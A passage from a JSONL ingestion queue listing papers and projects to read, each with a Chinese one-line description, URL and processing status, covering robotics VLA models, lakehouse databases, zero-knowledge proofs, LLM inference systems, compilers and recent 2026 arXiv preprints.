直接输出动作 token,VLA 概念诞生"},"url":"https://arxiv.org/abs/2307.15818","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"openvla-2024","area":"papers","topic":"robotics-VLA","title":"OpenVLA: An Open-Source Vision-Language-Action Model","meta":{"col3":"2024","col4":"Stanford;首个开源 7B VLA,社区基线"},"url":"https://arxiv.org/abs/2406.09246","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"octo-2024","area":"papers","topic":"robotics-VLA","title":"Octo: An Open-Source Generalist Robot Policy","meta":{"col3":"2024","col4":"BAIR;diffusion policy + transformer 的通用机器人"},"url":"https://arxiv.org/abs/2405.12213","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"rt-x-2023","area":"papers","topic":"robotics-VLA","title":"Open X-Embodiment: Robotic Learning Datasets and RT-X Models","meta":{"col3":"2023","col4":"21 实验室联合;跨实体数据集合作的里程碑"},"url":"https://arxiv.org/abs/2310.08864","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"pi0-physical-intelligence-2024","area":"papers","topic":"robotics-VLA","title":"π0: A Vision-Language-Action Flow Model for General Robot Control","meta":{"col3":"2024","col4":"Physical Intelligence;flow matching + VLA,性能 SOTA"},"url":"https://arxiv.org/abs/2410.24164","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"lerobot","area":"projects","topic":"robotics-VLA","title":"LeRobot","meta":{"col3":"2024","col4":"HuggingFace;机器人版 transformers,VLA 训练/部署事实标准"},"url":"https://github.com/huggingface/lerobot","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"isaac-lab-nvidia","area":"projects","topic":"robotics-VLA","title":"Isaac Lab","meta":{"col3":"2024","col4":"NVIDIA;Isaac Sim 上的机器人学习框架,GPU 并行仿真"},"url":"https://github.com/isaac-sim/IsaacLab","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"mujoco-deepmind","area":"projects","topic":"robotics-VLA","title":"MuJoCo","meta":{"col3":"2024","col4":"DeepMind 开源后;机器人物理仿真事实标准"},"url":"https://github.com/google-deepmind/mujoco","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"awesome-robotics-fm","area":"projects","topic":"robotics-VLA","title":"awesome-robotics-foundation-models","meta":{"col3":"2024","col4":"VLA/RT-X/世界模型资源汇总"},"url":"https://github.com/JeffreyYH/Awesome-Generalist-Robots-via-Foundation-Models","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"photon-databricks-2022","area":"papers","topic":"database-modern","title":"Photon: A Fast Query Engine for Lakehouse Systems","meta":{"col3":"2022","col4":"Databricks SIGMOD'22;C++ 向量化引擎,lakehouse 商业代表"},"url":"https://people.eecs.berkeley.edu/~matei/papers/2022/sigmod_photon.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"umbra-2020","area":"papers","topic":"database-modern","title":"Umbra: A Disk-Based System with In-Memory Performance","meta":{"col3":"2020","col4":"Neumann TUM;HyPer 的继任者,编译执行 + 列存"},"url":"https://www.cidrdb.org/cidr2020/papers/p29-neumann-cidr20.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"iceberg-2020","area":"papers","topic":"database-modern","title":"Apache Iceberg: A High-Performance Table Format","meta":{"col3":"2020","col4":"Netflix;现代 lakehouse 的事实表格式标准"},"url":"https://iceberg.apache.org/spec/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"delta-lake-2020","area":"papers","topic":"database-modern","title":"Delta Lake: High-Performance ACID Table Storage over Cloud Object Stores","meta":{"col3":"2020","col4":"Databricks VLDB'20;lakehouse 事务层奠基"},"url":"https://www.vldb.org/pvldb/vol13/p3411-armbrust.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"hudi-uber-2017","area":"papers","topic":"database-modern","title":"Apache Hudi: Incremental Processing on Big Data","meta":{"col3":"2017","col4":"Uber;和 Iceberg/Delta 三足鼎立的表格式"},"url":"https://hudi.apache.org/docs/concepts","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"datafusion-arrow","area":"projects","topic":"database-modern","title":"Apache DataFusion","meta":{"col3":"2024","col4":"Rust 写的查询引擎;Arrow 生态核心,被 InfluxDB/Ballista 用"},"url":"https://github.com/apache/datafusion","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"lance-format","area":"projects","topic":"database-modern","title":"Lance","meta":{"col3":"2024","col4":"Eto;列存 + 向量索引一体化,AI 时代的 parquet"},"url":"https://github.com/lancedb/lance","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"materialize-streaming","area":"projects","topic":"database-modern","title":"Materialize","meta":{"col3":"2024","col4":"增量计算物化视图;Differential Dataflow 商业化"},"url":"https://github.com/MaterializeInc/materialize","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"paimon-flink","area":"projects","topic":"database-modern","title":"Apache Paimon","meta":{"col3":"2024","col4":"原 Flink Table Store;流批一体的表格式"},"url":"https://github.com/apache/paimon","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"questdb-tsdb","area":"projects","topic":"database-modern","title":"QuestDB","meta":{"col3":"2024","col4":"Java/C++ 时序数据库;高性能金融时间序列"},"url":"https://github.com/questdb/questdb","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"nova-folding-2021","area":"papers","topic":"cryptography-ZK","title":"Nova: Recursive Zero-Knowledge Arguments from Folding Schemes","meta":{"col3":"2021","col4":"Kothapalli/Setty/Tzialla;folding 范式奠基,zkVM 加速核心"},"url":"https://eprint.iacr.org/2021/370","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"halo2-2022","area":"papers","topic":"cryptography-ZK","title":"Halo2: A SNARK Implementation Using PLONK Arithmetization","meta":{"col3":"2022","col4":"Zcash/Electric Coin;无可信 setup 的 PLONK 实现"},"url":"https://zcash.github.io/halo2/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"hyperplonk-2022","area":"papers","topic":"cryptography-ZK","title":"HyperPlonk: PLONK with Linear-time Prover and High-degree Custom Gates","meta":{"col3":"2022","col4":"Chen/Bunz/Boneh;PLONK 系列性能突破"},"url":"https://eprint.iacr.org/2022/1355","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"plookup-2020","area":"papers","topic":"cryptography-ZK","title":"plookup: A Simplified Polynomial Protocol for Lookup Tables","meta":{"col3":"2020","col4":"Gabizon/Williamson;查找表参数化的奠基,所有现代 zkVM 用"},"url":"https://eprint.iacr.org/2020/315","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"risc0-zkvm","area":"projects","topic":"cryptography-ZK","title":"RISC Zero zkVM","meta":{"col3":"2024","col4":"首个生产级 RISC-V zkVM;通用程序的 ZK 证明"},"url":"https://github.com/risc0/risc0","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"sp1-succinct","area":"projects","topic":"cryptography-ZK","title":"SP1","meta":{"col3":"2024","col4":"Succinct Labs;性能领先的 RISC-V zkVM,Rust 友好"},"url":"https://github.com/succinctlabs/sp1","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"circom-iden3","area":"projects","topic":"cryptography-ZK","title":"circom","meta":{"col3":"2024","col4":"iden3;最广用的电路 DSL,Web3 ZK 应用入门"},"url":"https://github.com/iden3/circom","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"noir-aztec","area":"projects","topic":"cryptography-ZK","title":"Noir","meta":{"col3":"2024","col4":"Aztec;Rust 风格 ZK 电路 DSL,比 circom 友好"},"url":"https://github.com/noir-lang/noir","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"arkworks-rs","area":"projects","topic":"cryptography-ZK","title":"arkworks-rs/algebra","meta":{"col3":"2024","col4":"Rust 椭圆曲线/有限域库;ZK 项目通用底座"},"url":"https://github.com/arkworks-rs/algebra","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"awesome-zk-proofs","area":"projects","topic":"cryptography-ZK","title":"awesome-zero-knowledge-proofs","meta":{"col3":"2024","col4":"ZK 论文/工具/教程汇总,研究入口"},"url":"https://github.com/matter-labs/awesome-zero-knowledge-proofs","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"mindie-2024","area":"projects","topic":"ml-systems","title":"MindIE LLM Inference Engine (Ascend)","meta":{"col3":"","col4":"Huawei 昇腾 NPU 上的 LLM 推理引擎;vLLM 在国产硬件路线上的对标方案,理解 dynamic batching + INT8/INT4 量化在非 NVIDIA 栈上的工业实现"},"url":"https://www.hiascend.com/software/mindie","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"lmdeploy","area":"projects","topic":"ml-systems","title":"LMDeploy: InternLM team inference toolkit","meta":{"col3":"","col4":"上海 AI Lab;TurboMind backend + INT4 KV cache 独家;理解 vLLM 之外的国产 LLM serving 方案"},"url":"https://github.com/InternLM/lmdeploy","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"flexgen-2023","area":"papers","topic":"ml-systems","title":"FlexGen: High-throughput Generative Inference of LLMs with a Single GPU","meta":{"col3":"","col4":"Stanford ICML'23;CPU/disk KV offload 的奠基论文,dossier 中作为离线场景候选"},"url":"https://arxiv.org/abs/2303.06865","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"kserve","area":"projects","topic":"ml-systems","title":"KServe: Kubernetes-native model serving","meta":{"col3":"","col4":"K8s 上的标准化模型服务接口;vLLM 工业部署 dossier 提到的 K8s 选项,对标 Ray Serve"},"url":"https://github.com/kserve/kserve","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"ray-serve","area":"projects","topic":"ml-systems","title":"Ray Serve: scalable model serving","meta":{"col3":"","col4":"Anyscale;分布式 actor 模型支撑的 LLM serving 框架,vLLM 集成路径之一"},"url":"https://docs.ray.io/en/latest/serve/index.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"deepspeed-inference-2022","area":"papers","topic":"ml-systems","title":"DeepSpeed-Inference: Enabling Efficient Inference of Transformer Models at Unprecedented Scale","meta":{"col3":"","col4":"微软;ZeRO-Inference + Tensor Parallel 的工业实现,vLLM/TGI 之前的主流选择"},"url":"https://arxiv.org/abs/2207.00032","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"machete-kernel-vllm","area":"projects","topic":"ml-systems","title":"vLLM Machete W4A16 kernel","meta":{"col3":"","col4":"vLLM 团队为 Hopper 优化的 W4A16 kernel,比 Marlin 快;阅读源码理解 mma instruction layout"},"url":"https://github.com/vllm-project/vllm/blob/main/csrc/quantization/machete/README.md","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"marlin-w4a16-kernel","area":"papers","topic":"ml-systems","title":"Marlin: a fast 4-bit GPTQ-style kernel","meta":{"col3":"","col4":"ISTA/DASLab;A100/H100 W4A16 kernel 加速 GPTQ/AWQ 推理 4 倍;vLLM 默认 quant kernel 之一"},"url":"https://github.com/IST-DASLab/marlin","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"lookahead-decoding-2024","area":"papers","topic":"ml-systems","title":"Break the Sequential Dependency: Lookahead Decoding (Jacobi)","meta":{"col3":"","col4":"LMSYS;无需 draft model 的并行解码,把 Jacobi 迭代搬到 LLM 推理;与 EAGLE/Medusa 同位竞争"},"url":"https://arxiv.org/abs/2402.02057","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"attention-sinks-2024","area":"papers","topic":"ml-systems","title":"Efficient Streaming Language Models with Attention Sinks (StreamingLLM)","meta":{"col3":"","col4":"MIT/Meta;通过保留前几个 token 作 sink 实现无限 streaming;长上下文推理标配"},"url":"https://arxiv.org/abs/2309.17453","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"yarn-rope-2023","area":"papers","topic":"ml-systems","title":"YaRN: Efficient Context Window Extension of Large Language Models","meta":{"col3":"","col4":"Nous Research;NTK-aware RoPE scaling 把 4k 模型扩到 128k;Llama-3 长上下文路线"},"url":"https://arxiv.org/abs/2309.00071","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"h2o-token-eviction-2023","area":"papers","topic":"ml-systems","title":"H2O: Heavy-Hitter Oracle for Efficient Generative Inference of LLMs","meta":{"col3":"","col4":"UT Austin NeurIPS'23;KV cache 重要性评分驱逐策略;长上下文 OOM 场景的工业方案"},"url":"https://arxiv.org/abs/2306.14048","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"scissorhands-2023","area":"papers","topic":"ml-systems","title":"Scissorhands: Exploiting the Persistence of Importance Hypothesis for LLM KV Cache Compression","meta":{"col3":"","col4":"Rice University NeurIPS'23;与 H2O 同期的 KV 驱逐方案,重要性假设的另一条路线"},"url":"https://arxiv.org/abs/2305.17118","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"compressed-tensors-vllm","area":"projects","topic":"ml-systems","title":"compressed-tensors: vLLM 量化模型格式","meta":{"col3":"","col4":"Neural Magic;vLLM 官方量化权重格式(FP8/INT8/W4A16),HF 上 RedHatAI 仓库主要载体"},"url":"https://github.com/neuralmagic/compressed-tensors","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"specbench-2024","area":"papers","topic":"ml-systems","title":"Spec-Bench: Comprehensive Benchmark for Speculative Decoding","meta":{"col3":"","col4":"PKU;EAGLE/Medusa/Lookahead/SpecInfer 横向对比的标准 benchmark;阅读后能快速选 spec 方案"},"url":"https://arxiv.org/abs/2401.07851","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"vllm"} +{"slug":"cohere-embed-v3-2023","area":"projects","topic":"info-retrieval","title":"Cohere Embed v3 (multilingual + compressed embedding)","meta":{"col3":"","col4":"Cohere 商业 embedding;int8/binary embedding 工业代表;与 OpenAI text-embedding-3 同位选项"},"url":"https://cohere.com/blog/introducing-embed-v3","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"data"} +{"slug":"astro-starlight","area":"projects","topic":"frontend","title":"Astro Starlight (docs starter)","meta":{"col3":"","col4":"Astro 官方文档站模板;代替 Docusaurus 的轻量替代,dossier devtool 里的标准选项"},"url":"https://starlight.astro.build/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"devtool"} +{"slug":"drizzle-orm","area":"projects","topic":"backend","title":"Drizzle ORM (TypeScript SQL builder)","meta":{"col3":"","col4":"TypeScript-first ORM;与 Prisma 同位竞争,类型推导更轻量;dossier 推荐选项"},"url":"https://orm.drizzle.team/","status":"written","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"devtool"} +{"slug":"rustbelt-2018","area":"papers","topic":"compilers-pl","title":"RustBelt: Securing the Foundations of the Rust Programming Language","meta":{"col3":"","col4":"Jung-Jourdan-Krebbers-Dreyer POPL'18;用 Iris 在 Coq 里证明 Rust 类型系统 + unsafe 模式安全性;理解 Rust 内存安全证明的奠基"},"url":"https://research.ralfj.de/thesis_phd/thesis-screen.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"rust"} +{"slug":"stacked-borrows-2019","area":"papers","topic":"compilers-pl","title":"Stacked Borrows: An Aliasing Model for Rust","meta":{"col3":"","col4":"Jung-Dang-Kang-Hur-Dreyer POPL'19;Rust 编译器 Miri 用的 alias 模型,理解 unsafe Rust 的 UB 边界"},"url":"https://plv.mpi-sws.org/rustbelt/stacked-borrows/paper.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"rust"} +{"slug":"racket-2018-tour","area":"papers","topic":"compilers-pl","title":"The Racket Manifesto","meta":{"col3":"","col4":"Felleisen-Findler-Flatt-Krishnamurthi-Barzilay-McCarthy-Tobin-Hochstadt SNAPL'15;Racket 设计哲学:programmable programming language;Lisp 系语言演化代表"},"url":"https://www.cs.utah.edu/plt/publications/snapl15-fffkbmt.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"lisp"} +{"slug":"george-appel-1996","area":"papers","topic":"compilers-pl","title":"Iterated Register Coalescing","meta":{"col3":"","col4":"George-Appel TOPLAS'96;把 register allocation 的 coalescing 与 simplify 交替到不动点,工业编译器的标准 RA 算法"},"url":"https://www.cs.princeton.edu/~appel/papers/coalesce.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"compilers"} +{"slug":"wilson-1992-gc-survey","area":"papers","topic":"compilers-pl","title":"Uniprocessor Garbage Collection Techniques","meta":{"col3":"","col4":"Wilson IWMM'92;GC 综述教科书级,串起 mark-sweep / copying / generational / incremental;理解 JVM/Go/V8 GC 设计图谱"},"url":"https://www.cs.cmu.edu/~fp/courses/15411-f09/misc/wilson92survey.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"compilers"} +{"slug":"self-1991-chambers","area":"papers","topic":"compilers-pl","title":"Customization: Optimizing Compiler Technology for SELF","meta":{"col3":"","col4":"Chambers-Ungar-Lee PLDI'91;SELF 动态语言 inline cache + type feedback;现代 V8/SpiderMonkey JIT 的源头"},"url":"https://www.cs.ucsb.edu/~ckrintz/racelab/gc/papers/chambers-pldi91.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"jit"} +{"slug":"dynamo-2000","area":"papers","topic":"compilers-pl","title":"Dynamo: A Transparent Dynamic Optimization System","meta":{"col3":"","col4":"Bala-Duesterwald-Banerjia PLDI'00;HP 的二进制级 JIT,trace-based optimization 思想源头,影响 PyPy/Java HotSpot"},"url":"https://dl.acm.org/doi/10.1145/349299.349303","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"jit"} +{"slug":"graal-truffle-2017","area":"papers","topic":"compilers-pl","title":"Practical Partial Evaluation for High-Performance Dynamic Language Runtimes","meta":{"col3":"","col4":"Würthinger-Wimmer-Stadler-Duboscq-Humer-Hofer-Mössenböck PLDI'17;Truffle/Graal 把 partial evaluation 工业化;GraalVM 的核心论文"},"url":"https://chrisseaton.com/truffleruby/pldi17-truffle/pldi17-truffle.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"jit"} +{"slug":"lattner-llvm-2004","area":"papers","topic":"compilers-pl","title":"LLVM: A Compilation Framework for Lifelong Program Analysis & Transformation","meta":{"col3":"","col4":"Lattner-Adve CGO'04;LLVM IR 设计奠基论文;理解所有现代编译器中段优化的统一框架"},"url":"https://www.aaronbradley.org/cs6235/llvm-cgo04.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"compilers"} +{"slug":"racket-macros-flatt-2016","area":"papers","topic":"compilers-pl","title":"Binding as Sets of Scopes","meta":{"col3":"","col4":"Flatt POPL'16;Racket 的 hygienic macro 算法重写;DSL/Lisp 元编程理论核心"},"url":"https://www.cs.utah.edu/plt/scope-sets/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"metaprogramming"} +{"slug":"metaocaml-2003","area":"papers","topic":"compilers-pl","title":"MetaOCaml: A Compiled, Type-Safe, Multi-Stage Programming Language","meta":{"col3":"","col4":"Calcagno-Taha-Huang-Leroy;OCaml 上的多 stage 元编程;DSL 编译时生成代码的工业方案"},"url":"https://okmij.org/ftp/ML/MetaOCaml.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r4-cookbook-gap-2026-05-31","priority_tier":"cookbook-must","lens_origin":"metaprogramming"} +{"slug":"unlocking-the-working-memory-of-large-language-models-for-latent-reasoning-arxiv","area":"papers","topic":"ml-systems","title":"Unlocking the Working Memory of Large Language Models for Latent Reasoning","meta":{"col3":"2026","col4":"Aichberger-Hochreiter 2026 用 memory blocks 替代 autoregressive reasoning 单次 forward 完成 latent reasoning"},"url":"https://arxiv.org/abs/2605.30343","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"demystifying-data-organization-for-enhanced-llm-training-arxiv-2605-30334","area":"papers","topic":"machine-learning","title":"Demystifying Data Organization for Enhanced LLM Training","meta":{"col3":"2026","col4":"Microsoft 2026 STR/SAW 数据排序方法 + Boundary Sharpening/Cyclic Scheduling 等 4 准则"},"url":"https://arxiv.org/abs/2605.30334","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"soundnessbench-arxiv-2605-30329","area":"papers","topic":"machine-learning","title":"SoundnessBench: Can Your AI Scientist Really Tell Good Research Ideas from Bad Ones?","meta":{"col3":"2026","col4":"Furong Huang 2026 1099 ICLR 提案的 soundness 基准 frontier LLM 普遍 optimism bias"},"url":"https://arxiv.org/abs/2605.30329","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"how-lora-remembers-a-parametric-memory-law-for-llm-finetuning-arxiv-2605-30260","area":"papers","topic":"ml-systems","title":"How LoRA Remembers? A Parametric Memory Law for LLM Finetuning","meta":{"col3":"2026","col4":"ZJU 2026 LoRA 容量与序列长度的 power law MemFT 阈值优化策略"},"url":"https://arxiv.org/abs/2605.30260","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"same-evidence-different-answers-canonical-context-on-policy-distillation-arxiv-2","area":"papers","topic":"machine-learning","title":"Same Evidence Different Answers Canonical-Context On-Policy Distillation","meta":{"col3":"2026","col4":"CCOPD 2026 多轮对话中 self-anchored drift 现象 + canonical-context distillation 解法"},"url":"https://arxiv.org/abs/2605.30251","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"llmsurgeon-diagnosing-data-mixture-of-large-language-models-arxiv-2605-30348","area":"papers","topic":"machine-learning","title":"LLMSurgeon Diagnosing Data Mixture of Large Language Models","meta":{"col3":"2026","col4":"Zhiqiang Shen 2026 逆问题反推 LLM 预训练混合比例 Data Mixture Surgery"},"url":"https://arxiv.org/abs/2605.30348","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"loong-long-document-translation-agent-with-observe-and-act-arxiv-2605-30274","area":"papers","topic":"machine-learning","title":"Loong Long Document Translation Agent with Observe-and-Act","meta":{"col3":"2026","col4":"2026 3E 内存 Essence-Exemplar-Entity + RL 自我观察的长文档翻译 agent"},"url":"https://arxiv.org/abs/2605.30274","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"in-context-reward-adaptation-for-robust-preference-modeling-arxiv-2605-30323","area":"papers","topic":"ml-systems","title":"In-Context Reward Adaptation for Robust Preference Modeling","meta":{"col3":"2026","col4":"2026 transformer in-context 学习未见偏好域 human response time 作为辅助信号"},"url":"https://arxiv.org/abs/2605.30323","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"passnet-scaling-large-language-models-for-graph-compiler-pass-generation-arxiv-2","area":"papers","topic":"compilers-pl","title":"PassNet Scaling Large Language Models for Graph Compiler Pass Generation","meta":{"col3":"2026","col4":"2026 18K 图 + 200 任务的 LLM 编译器 pass 生成 benchmark TorchInductor 长尾 43% 慢 case"},"url":"https://arxiv.org/abs/2605.29357","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"e-path-equality-saturation-for-control-flow-graphs-arxiv-2605-28694","area":"papers","topic":"compilers-pl","title":"E-Path Equality Saturation for Control-Flow Graphs","meta":{"col3":"2026","col4":"2026 E-Path 数据结构把 equality saturation 扩展到 CFG 规避 phase-ordering 问题"},"url":"https://arxiv.org/abs/2605.28694","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"lacuna-safe-agents-as-recursive-program-holes-arxiv-2605-28617","area":"papers","topic":"compilers-pl","title":"LACUNA Safe Agents as Recursive Program Holes","meta":{"col3":"2026","col4":"Odersky 2026 agent 动作作为 typed program holes 编译时类型检查阻挡 prompt injection"},"url":"https://arxiv.org/abs/2605.28617","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"pacing-types-for-asynchronous-stream-equations-arxiv-2605-26635","area":"papers","topic":"compilers-pl","title":"Pacing Types for Asynchronous Stream Equations","meta":{"col3":"2026","col4":"RTLola 2026 运行时验证的 pacing 类型系统 Rocq 形式化证明 soundness"},"url":"https://arxiv.org/abs/2605.26635","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"a-formal-semantics-of-c-with-openmp-parallelism-arxiv-2605-26527","area":"papers","topic":"compilers-pl","title":"A Formal Semantics of C with OpenMP Parallelism","meta":{"col3":"2026","col4":"CompCert 2026 OpenMP C 形式语义 任何成功执行保证无 data 